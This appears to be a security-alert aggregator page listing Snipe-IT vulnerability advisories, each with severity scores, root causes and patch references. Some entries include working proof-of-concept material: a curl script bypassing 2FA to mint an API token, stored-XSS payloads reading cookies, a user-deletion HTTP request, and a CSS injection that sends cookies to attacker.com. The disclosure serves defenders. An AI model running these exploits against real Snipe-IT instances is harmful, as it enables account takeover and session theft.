Where
-Infinity
0
Severity
8.7
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Snipe-IT is an IT asset/license management system. Prior to 8.7.0, the uploaded-files API endpoint GET /api/v1/{objecttype}/{id}/files/{fileid} allows an authenticated user with file-management access to upload XML and XSLT attachments and request them with the inline=true parameter. The app/Http/Controllers/Api/UploadedFilesController.php show() path does not apply the safe-inline allowlist used by the equivalent web controller, so the browser can process an attacker-controlled xml-stylesheet reference and execute JavaScript generated by the stylesheet in the Snipe-IT origin. A victim who is authorized to view the object must open the attachment URL, after which the script can read same-origin data and perform authenticated actions with the victim's privileges. This issue is fixed in version 8.7.0.

1 / 2
Source: MITRE
First published (updated )
Severity
8.6
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Snipe-IT before 8.7.0 fails to validate username case sensitivity during SAML authentication, allowing attackers to authenticate as different users by registering IdP accounts with accent or case variants of victim usernames. Attackers can exploit the default utf8mb4unicodeci database collation to bypass username matching and achieve account takeover through federated login paths including SAML, LDAP, and OAuth.

First published (updated )
Severity
8.6
CSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact

An attacker who knows a victim's password fully bypasses that account's 2FA and obtains a persistent token with full API access as the user (read and write across the user's permissions, including admin if the victim is an admin).

The token is an API credential, not a web/UI session (using it on web routes redirects to /login), but the REST API covers essentially the whole application. If the victim is an admin, the token can also call the admin users/twofactorreset endpoint, which is in the same un-gated API surface, to clear the account's enrolled 2FA. The next login is then forced to re-enroll a second factor, which the password-holding attacker can complete with their own device, taking over the account's web access and locking the legitimate user out.

Summary:

2FA is enforced only by the web middleware group, not the api group, and the personal-access-token endpoint is in the api group. A session that has passed the password check but not the 2FA can mint a persistent API token and use it for full API access.

Details:

CheckForTwoFactor is in the web group but not the api group:

// app/Http/Kernel.php 'web' => [ ..., CheckForTwoFactor::class, CreateFreshApiToken::class, ... ], 'api' => [ 'auth:api', EnforceApiUserAgent::class, ... ], // no CheckForTwoFactor

Two consequences:

1. /two-factor is exempt from the check, and CreateFreshApiToken runs right after it in the web group:

// app/Http/Middleware/CheckForTwoFactor.php public const IGNOREROUTES = ['two-factor', 'two-factor-enroll', 'setup', 'logout'];

So a password-authenticated session that lands on /two-factor (before entering a code) is let through and gets issued the Passport snipeitpassporttoken cookie.

2. The token endpoint is in the api group, which never checks 2FA, gated only by self.api:

// routes/api.php -> Api\ProfileController::createApiToken (line 98) if (! Gate::allows('self.api')) { ... } // the only gate; no 2FA check

Login authenticates on the password alone (LoginController::login calls Auth::login). 2FA is enforced only by web middleware on later page loads. So between a correct password and a completed second factor the session is already authenticated, can grab the Passport cookie via /two-factor, and can call the token endpoint over the api group. The token is long-lived (40-year expiry by default) and grants full API access as the user.

Proof of concept:

Setup: an account with 2FA enabled and the self.api permission (the permission that governs API access, so any account meant to use the API has it). The attacker has the password but not the TOTP device, and never completes the second factor.

HOST=https://snipeit.example.com/ USER=victim PASS='victim-password'

# 1. log in with the password only. Every web page now redirects to # /two-factor until a code is entered. never enter one. csrf=$(curl -s -c cookies.txt "$HOST/login" \ | grep -oP 'name="token" value="\K[^"]+') curl -s -b cookies.txt -c cookies.txt "$HOST/login" \ --data-urlencode "token=$csrf" \ --data-urlencode "username=$USER" \ --data-urlencode "password=$PASS" -o /dev/null

# 2. GET /two-factor with no code. It is exempt from the 2FA check, so # CreateFreshApiToken issues the snipeitpassporttoken cookie. curl -s -b cookies.txt -c cookies.txt "$HOST/two-factor" -o /dev/null grep -q snipeitpassporttoken cookies.txt && echo "[2] Passport cookie issued, no code"

# 3. mint a persistent token over the api group (no 2FA check). Passport's # cookie guard wants the session's own XSRF token echoed as a header, # which our session already holds. xsrf=$(awk '/XSRF-TOKEN/{print $7}' cookies.txt | tail -1) xsrf=$(printf '%b' "${xsrf//%/\\x}") pat=$(curl -s -b cookies.txt "$HOST/api/v1/account/personal-access-tokens" \ -X POST -H "Accept: application/json" -H "X-XSRF-TOKEN: $xsrf" \ --data-urlencode "name=poc" | jq -r '.payload.token') echo "[3] token: $pat"

# 4. use the Bearer token against a real endpoint. /users/me returns the # victim's own account, proving the token acts as the victim with 2FA # never completed. (If the victim is an admin, the same token reaches the # whole API, e.g. GET /api/v1/users returns the full user directory.) curl -s "$HOST/api/v1/users/me" \ -H "Authorization: Bearer $pat" -H "Accept: application/json"

Step 3 returns a token with no code ever submitted, and step 4 returns the victim's own account ({"id":1,"username":"victim","email":...}). Meanwhile the same session is still blocked from every web page until 2FA is completed, which shows the api group simply never enforces it.

Patches

Fixed in commit 87c362962a via PR #19294 (FD-56499). The fix adds a new API-side middleware, EnforceApiTwoFactorEnrollment, registered on the api middleware group after auth:api. The new middleware answers the question "does this token's owner have a second factor enrolled at all?", which is orthogonal to the session-scoped 2faauthed flag that CheckForTwoFactor relies on. Behavior:

- Passes through when there's no authenticated user (leaves the standard auth:api 401 in place). - Passes through when twofactorenabled is disabled in settings. - Under optional mode (twofactorenabled = '1'), only enforces on users who explicitly set twofactoroptin = '1', matching the web-side behavior and preserving legacy PATs for users who never opted in. - Under required mode (twofactorenabled = '2'), enforces regardless of optin. - Blocks with 403 + Helper::formatStandardApiResponse('error', null, trans('auth/message.twofactor.pleaseenroll')) when the token owner's twofactorenrolled != '1'.

Regression coverage lives in tests/Feature/Authentication/EnforceApiTwoFactorEnrollmentTest.php.

Credit

Reported first by colinthebomb1 and Theebanbabu, followup confirmation report by SRT at submersion SRT@submersion.ai.

1 / 2
Source: GitHub
First published (updated )
Severity
8.5
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Snipe-IT before 8.7.0 fails to properly gate Laravel Passport's OAuth client management routes, allowing any authenticated user to register OAuth clients with attacker-controlled redirect URIs. Attackers can trick administrators into approving consent screens, then exchange authorization codes for bearer tokens inheriting full admin API permissions lasting up to 40 years.

First published (updated )
Severity
8.4
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Snipe-IT before 8.7.0 fails to properly sanitize markdown image syntax in note fields, allowing authenticated users to read arbitrary server files and issue server-side HTTP requests. Attackers can submit markdown image syntax in checkout acceptance notes that survive HTML escaping, are expanded by CommonMark parser, and resolved by laravel-mail-auto-embed via filegetcontents or curl, exfiltrating sensitive files like .env containing APPKEY.

First published (updated )
Severity
8.3
AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N

Snipe-IT versions <= 8.6.3 (fixed in 8.7.0) do not validate company assignment authorization before persisting user records via the REST API. In Api\UsersController::store() and ::update(), the user record is filled from the request and saved before the requested companyid / companyids[] values are filtered against the actor's permitted companies (Company::getIdsForCurrentUser()). On installs using Full Multiple Companies Support (FMCS), a non-superuser holding users.create (or users.edit on a target user) can submit company identifiers for companies outside their scope — including a mix of permitted and foreign ids — causing the account row to be committed to the database before authorization is checked. Where nullcompanyisfloater=1 is set, the post-hoc filter leaves an empty company pivot and the account is persisted as a "floater" with cross-company visibility, allowing creation or relocation of user accounts across tenant boundaries.

First published (updated )
Severity
8.3
SSRF
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:L

Snipe-IT versions before 8.7.0 fail to HTML-escape the employeenum field in the acceptance PDF generator, allowing attackers with users.edit permission to inject img tags into TCPDF's writeHTML() function. Attackers can craft a malicious employeenum value containing an img tag with an arbitrary HTTP(S) URL to trigger server-side requests to internal services, cloud metadata endpoints, or external targets when a victim signs an asset acceptance.

First published (updated )
Severity
8.1
XSS
AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N

Impact A user with the "customfields.create" permission can store HTML/JS in a Custom Field name, which is later rendered as an asset-list column title WITHOUT escaping at app/Presenters/AssetPresenter.php line 364 ('title' => $field->name) and injected into the table header by the bundled bootstrap-table plugin. It executes for anyone who opens an asset list (e.g. /hardware), including superusers, on page load with no interaction. Since "customfields.create" can be granted to non-superusers, a lower-privileged user gets script execution in a superuser's session -> privilege escalation.

STEPS TO REPRODUCE 1. As a user with "customfields.create", create a Custom Field named: <img src=x onerror=alert(1)> 2. Add the field to a fieldset that is associated with an asset model. 3. Open /hardware -> the payload executes on load.

DEMONSTRATED IMPACT An account holding ONLY "customfields.create" (HTTP 403 on /users) planted a payload that, when a superuser opened /hardware, issued an authenticated request in that session and granted the attacker's own account the "superuser" permission (afterwards: GET /users = 200, isSuperUser() = true).

ROOT CAUSE - Blade {{ }} encodes the data-columns attribute, but the browser decodes it back before bootstrap-table reads the title; bootstrap-table then renders the header title unescaped because its table-level "escape" option defaults to false and is never enabled. (The per-column 'escape' => true covers cell values, not the header title.) Patches Patched in https://github.com/grokability/snipe-it/commit/58754e4e3b86b58a0c4523012ef04a2ae990d2c8

1 / 2
Source: GitHub
First published (updated )
Severity
7.7
AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N

Impact The API endpoint for updating asset maintenance records allows an authorized user to change the assetid of an existing maintenance record to an asset outside their company scope.

In a Full Multiple Company Support / multi-company deployment, this allows a user from Company A to attach or move a maintenance record onto an asset belonging to Company B. The endpoint appears to authorize access to the existing maintenance record’s asset, but does not re-authorize the newly supplied assetid before saving the update.

Affected endpoint PATCH /api/v1/maintenances/{maintenanceid}

Also likely affected:

PUT /api/v1/maintenances/{maintenanceid}

Preconditions The attacker needs: - A valid authenticated API token. - Permission to update asset maintenance records. - Access to a maintenance record currently attached to an asset in their own company.

The attacker does not need access to the target asset’s company.

Root cause In the API maintenance update flow, the application checks access to the current maintenance record / current asset, then accepts attacker-controlled fields including assetid.

The vulnerable behavior is that the new assetid is not checked against the current user’s company scope before being saved.

Relevant code path: app/Http/Controllers/Api/MaintenancesController.php

The update method loads the maintenance, checks access to the existing $maintenance->asset, then calls: php $maintenance->fill($request->all()); $maintenance->save();

Since assetid is fillable on the maintenance model, the attacker can re-parent the record to another company’s asset.

Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading?

Security impact This breaks tenant/company isolation in multi-company deployments. A scoped user can write maintenance records against assets outside their authorized company boundary.

Potential impact includes: - Cross-company asset history pollution. - Unauthorized modification of another company’s asset maintenance timeline. - Incorrect maintenance, cost, audit, and warranty records on victim-company assets. - Loss of integrity in asset lifecycle records.

This is not intended functionality because the application’s company-scoping model should prevent users from writing records onto inaccessible assets.

1 / 2
Source: GitHub
First published (updated )
Severity
7.6
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Snipe-IT is an IT asset/license management system. Prior to 8.6.3, a company-scoped user in FMCS floater mode can access users whose companyid is null because broad API queries and bulk web actions do not consistently apply isCurrentUserHasAccess. The /api/v1/users and /api/v1/users/{id}/licenses endpoints can expose personal data and assigned licenses, /users/bulkeditsave can modify out-of-scope profiles, and /users/merge can soft-delete users and transfer assigned assets. This issue is fixed in version 8.6.3.

First published (updated )
Severity
7.4
AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:N

Snipe-IT before 8.7.0 contains an authorization bypass vulnerability in Livewire components that enforce authorization only at the route level, not within component lifecycle methods. Attackers with a valid authenticated session can replay signed component snapshots via POST /livewire/update to invoke protected methods and escalate privileges, including creating OAuth clients, minting personal access tokens, and accessing sensitive admin data.

First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H

Impact The vulnerability allows a non-admin user holding only the granular users.edit permission to lock every admin out of the instance by editing the activated flag (which determines whether or not a user can login) and the ldapimport flag, which determines whether or not the user can request a password reset.

Patches Patched in https://github.com/grokability/snipe-it/commit/403f9c848b05274642f64450696bdcdc242a352a

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
CSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Impact An authenticated non-admin user with users.view and users.edit, but without users.delete, can directly POST to /users/bulksave and soft-delete another non-admin user. The UI and confirmation route require users.delete, but the destructive sink only authorizes update.

Attacker Model

Authenticated non-admin user with:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ json {"users.view":"1","users.edit":"1"} ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The attacker does not have users.delete, admin, or superuser.

Affected Component

- routes/web/users.php

- app/Http/Controllers/Users/BulkUsersController.php

- Endpoint: POST /users/bulksave

Root Cause

The UI only exposes bulk delete to users with delete permission:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php @can('delete', \App\Models\User::class) <option value="delete">...</option> <option value="merge">...</option> @endcan ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The confirmation path also checks delete:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php } elseif ($request->input('bulkactions') == 'delete') { $this->authorize('delete', User::class); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

However, the destructive route is registered separately:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php Route::post('bulksave', [Users\BulkUsersController::class, 'destroy']) ->name('users/bulksave'); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

and destroy() authorizes only update:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php public function destroy(Request $request) { $this->authorize('update', User::class); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

When deleteuser=1 is present, the method reaches:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ php $user->delete(); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept

1. Create a non-admin attacker account with users.view and users.edit, but not users.delete.

2. Create a harmless non-admin target user.

3. Log in as the attacker and obtain a valid CSRF token.

4. Send:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http POST /users/bulksave HTTP/1.1 Host: <snipe-it-host> Cookie: snipeitsession=<attacker-session> Content-Type: application/x-www-form-urlencoded

token=<csrf-token> ids[]=<target-user-id> deleteuser=1 statusid=<valid-status-id> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Observed response:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http HTTP/1.1 302 Found Location: http://<snipe-it-host>/users ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Patches Patched in 374f426f0c

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact The displaySig action in ActionlogController serves signature image files from a private upload directory. The filename parameter from the HTTP route is concatenated directly into a filesystem path with no sanitization, allowing an authenticated attacker to traverse outside the intended directory and read arbitrary files accessible to the web server process.

Reported by https://github.com/securin-public

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact An attacker can completely bypass file-name randomization security and without authorization download confidential, signed EULA files belonging to any other user across the application.

Steps to Reproduce: 1. Log in as a restricted user. 2. Send a GET request to /api/v1/users/{targetid}/eulas (where targetid belongs to a restricted/denied user). 3. Observe the response leaks the secret EULA filename (e.g., eula-xxx.pdf). 4. Attempt to access this file via the main route: GET /stored-eula-file/{filename} (This will correctly return 403 Forbidden). 5. Now, access the file via the vulnerable profile route: GET /account/stored-eula-file/{filename}. 6. Observe that the server returns a 200 OK and successfully downloads the target user's secret EULA file.

Patches Fixed in https://github.com/grokability/snipe-it/commit/f15d78621b003be30ac114ba68626683894935ef

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Snipe-IT before 8.7.1 fails to validate the length of the note field in the POST /account/accept/{acceptance} endpoint, allowing authenticated users to submit unbounded input that reaches synchronous CommonMark rendering. Attackers can submit large note values to exhaust PHP worker CPU and cause denial of service through resource exhaustion in the markdown parsing pipeline.

First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Snipe-IT before 8.7.0 fails to properly enforce the viewKeys authorization gate in CSV export and API index endpoints, allowing authenticated users with only licenses.view permission to access product keys. Attackers can download all license keys in bulk via CSV export or validate candidate keys through API response discrepancies without needing the viewKeys permission.

First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Snipe-IT versions before 8.7.0 fail to enforce checkout authorization when assignment fields are submitted to the asset update endpoint. Authenticated users with edit permission but explicitly denied checkout permission can reassign assets, bypass check-in procedures, and alter custody records by submitting assigneduser, assignedasset, or assignedlocation parameters to PATCH /api/v1/hardware/{id}.

First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Snipe-IT through 8.6.4 (fixed in 8.7.0) does not enforce the components.view permission on the authenticated endpoint GET /api/v1/hardware/<asset-id>/assigned/components. The endpoint authorizes only assets.view on the parent asset before returning linked component details; the components.view check is applied only to the response's availableactions.view flag and not to the returned data. As a result, an authenticated user holding only assets.view can enumerate component IDs, names, assigned quantities, and notes that are otherwise protected — the direct GET /api/v1/components/<id> endpoint correctly returns 403 Forbidden for such users.

First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Snipe-IT before 8.7.0 fails to properly gate access to encrypted custom-field values in asset form templates for listbox, textarea, markdown-textarea, and date/datetime picker elements. Authenticated users with assets.edit, assets.checkin, assets.checkout, or assets.audit permissions can read plaintext encrypted custom field values by opening asset forms, bypassing the assets.view.encryptedcustomfields permission check.

First published (updated )
Severity
7.1
Race Condition
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Snipe-IT versions up to and including 8.6.3 contain a race condition (TOCTOU) in the consumable checkout API endpoint (POST /api/v1/consumables/{consumableid}/checkout). The requested quantity is validated against the number of remaining units before the database transaction begins, and the transaction then creates the checkout records without locking the consumable row or re-checking availability. An authenticated user with permission to check out consumables can submit concurrent checkout requests for the same consumable so that both requests pass the availability check and succeed, over-allocating stock and driving the remaining inventory negative (e.g., a consumable with 1 remaining unit ends at -1 after two concurrent 1-unit checkouts). The issue is fixed in 8.7.0, which re-fetches the parent row under lockForUpdate inside the transaction and re-validates availability.

First published (updated )
Severity
7
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact

The update() method in UsersController passes the permission request field unconditionally to NormalizePermissionsPayloadAction, which returns an empty array when the field is absent. The result is passed to PreserveUnauthorizedPrivilegedPermissionsAction, which selectively restores only the superuser key (when the editor is not a superuser) and the admin key (when the editor is neither admin nor superuser). All other permissions — including the admin flag itself when the editing user is an admin — are discarded and $user->permissions is overwritten with the sparse result.

The canEditAuthFields gate permits admins to update other non-superuser accounts (including other admins). When an admin sends a PUT /users/{id} request for another admin without including the permission field, the target's admin flag and all granular permissions are permanently destroyed. The target loses administrative access entirely with no error, warning, or out-of-band notification.

A secondary, lower-impact path exists for non-admin users holding the users.edit permission: they may target regular (non-admin, non-superuser) accounts and wipe all granular permissions in the same way.

Patches Patched in https://github.com/grokability/snipe-it/commit/1cff2d67aabd00ee51d864c1d7fb717494c1d6ad

1 / 2
Source: GitHub
First published (updated )
Severity
7
AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:L

Snipe-IT versions <= 8.6.3 (fixed in 8.7.0) do not check the return value of storage write operations in ImageUploadRequest::handleImages(). Because Laravel's default disk mode does not throw on failure, a silently failed Storage::disk('public')->put(...) call still caused the application to delete the previous image via deleteExistingImage() and to reassign and persist the model's image reference to the new filename, destroying the existing image and leaving the database row pointing at a file that was never written. A mirror problem existed in deleteExistingImage(), where a failed Storage::delete() still nulled the model's image field, orphaning the file on disk. The condition is not directly attacker-controlled: it is triggered when any legitimate authenticated user submits an image upload while the storage backend transiently fails (for example an S3 network error, a local filesystem permission problem, or quota exhaustion). The result is unrecoverable loss of the prior image and a durable inconsistency between the database and disk that requires manual reconciliation. All models whose controllers route through ImageUploadRequest::handleImages (assets, asset models, users, companies, manufacturers, locations, categories, suppliers, departments, and other image-carrying models) are affected.

First published (updated )
Severity
6.5
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

An improper authorization vulnerability in the /api/v1/users/{id} endpoint of Snipe-IT v8.4.0 allows authenticated attackers with the users.edit permission to modify sensitive authentication and account-state fields of other non-admin users via supplying a crafted PUT request.

First published (updated )
Severity
6.5
Path Traversal
AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H

Impact An authenticated user holding the import and assets.update permissions can delete arbitrary files on the server filesystem by injecting a path traversal string into an asset's image field via CSV import, then triggering the image deletion feature.

1 / 2
Source: GitHub
First published (updated )
Severity
6.2
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact

Because default.blade.php is the base layout loaded on every authenticated page, all active user sessions are affected immediately upon the next page load after the payload is saved. An attacker who has compromised an admin account (or who is a malicious insider) can use this to silently exfiltrate session tokens from all other users, including other administrators.

Additionally, the Content Security Policy is disabled by default in Snipe-IT installations, which removes the primary browser-level mitigation for this class of attack.

Details The headercolor setting (and related color settings such as navcolor and linkcolor) is rendered inside a CSS <style> block using Laravel's {{ }} syntax:

--main-theme-color: {{ $snipeSettings->headercolor ?? '#3c8dbc' }};

Although {{ }} applies HTML entity encoding, this is insufficient in a CSS context. An attacker with superadmin access to the Settings > Branding page can inject arbitrary CSS by setting the headercolor value to something like:

#fff; } body { background: url('https://attacker.com/exfil?c='+document.cookie); } .x {

This breaks out of the CSS property value and injects a new rule that executes in the context of every authenticated user's browser on every page load.

Patches Patched in https://github.com/grokability/snipe-it/pull/19097

Workarounds Enable CSP in your .env file.

1 / 2
Source: GitHub
First published (updated )
Severity
6.2
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact A low-privilege user can store an active-content payload as an asset attachment and have it served inline, same-origin, with an active Content-Type, achieving stored XSS. The application sanitizes uploads only when PHP finfo detects image/svg+xml. By submitting an XHTML document whose finfo MIME is text/xml (an allowed extension), the svg-sanitize branch is skipped, the <script> is stored raw, and the inline-serve path returns it as text/xml; charset=utf-8 with Content-Disposition: inline — which the browser renders as a live XHTML document and executes. The dedicated StorageHelper::allowSafeInline() whitelist that should have constrained inline-renderable types is never wired into the serve path.

Details Vulnerable code — sanitizer keyed on finfo MIME app/Http/Requests/UploadFileRequest.php:46-53

php $extension = $file->getClientOriginalExtension(); $filename = $nameprefix.'-'.strrandom(8).'-'.strslug(...).'.'.$file->guessExtension(); ... if ($file->getMimeType() === 'image/svg+xml') { $uploadedfile = $this->handleSVG($file); // svg-sanitize fires } else { $uploadedfile = filegetcontents($file); // stored RAW — no sanitization }

Vulnerable code — inline serve, no allowSafeInline() app/Http/Controllers/UploadedFilesController.php:103

php if (request('inline') == 'true') { $headers = ['Content-Disposition' => 'inline']; return Storage::download($path.$log->filename, $log->filename, $headers); }

StorageHelper::allowSafeInline() (app/Helpers/StorageHelper.php:88) exists to whitelist inline-renderable types but is not called here. The validation rule (UploadFileRequest::rules()) is mimes: over config('filesystems.alloweduploadextensionsforvalidator'), which includes svg, xml, and txt — so a text/xml file passes validation and bypasses the SVG sanitizer simultaneously.

POC 1. From a fresh install, as a user with only assets.view + assets.files targeting any existing asset created by admin 2. click on the asset created by admin and upload files. 3. create a XML file with the following payload and upload it.

xml <?xml version="1.0"?> <html xmlns="http://www.w3.org/1999/xhtml"> <head><script>alert(document.cookie)</script></head> <body>hi</body> </html>

4. Noticed that it did not receive any error and the file was uploaded. 5. Now, can just get the URL and view it. (need to add the inline=true). image.png

Notice that the XSS was able to request document.cookie. This means that it is possible for low privilege user to perform XSS and perform privilege escalation to admin.

1 / 2
Source: GitHub
First published (updated )
Severity
6.1
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Impact The user edit flow stores url()->previous() into Laravel's intended URL session value and later redirects with redirect()->intended(...) when redirectoption=back is submitted. Because the previous URL is derived from the attacker-controlled Referer header, an authenticated user performing a normal user-edit action can be redirected to an external attacker-controlled site.

An attacker who can cause a logged-in user with permission to edit a user record to open the edit page with an attacker-controlled Referer value.

The application can be used as a trusted redirector after a legitimate user edit action. This can support phishing or trust-boundary attacks against Snipe-IT users and matches a historical open redirect class where session-stored navigation context influences redirect destinations.

Patches Patched in f4cac96358

1 / 2
Source: GitHub
First published (updated )
Severity
5.9
SSRF
AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:L/A:N

snipe-it versions before 8.7.0 contain a server-side request forgery vulnerability in the ExternalUrl validation rule that fails to detect IPv6 transition addresses encoding private IPv4 targets. Attackers with super-admin privileges can configure webhook URLs using NAT64, 6to4, or Teredo transition addresses to bypass SSRF guards and access internal services or cloud metadata endpoints.

First published (updated )
Severity
5.7
AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N

Impact The createdby of an import file can be arbitrarily overwritten via the Importer API endpoint by a user with CSV import capabilities who also has a valid API key.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203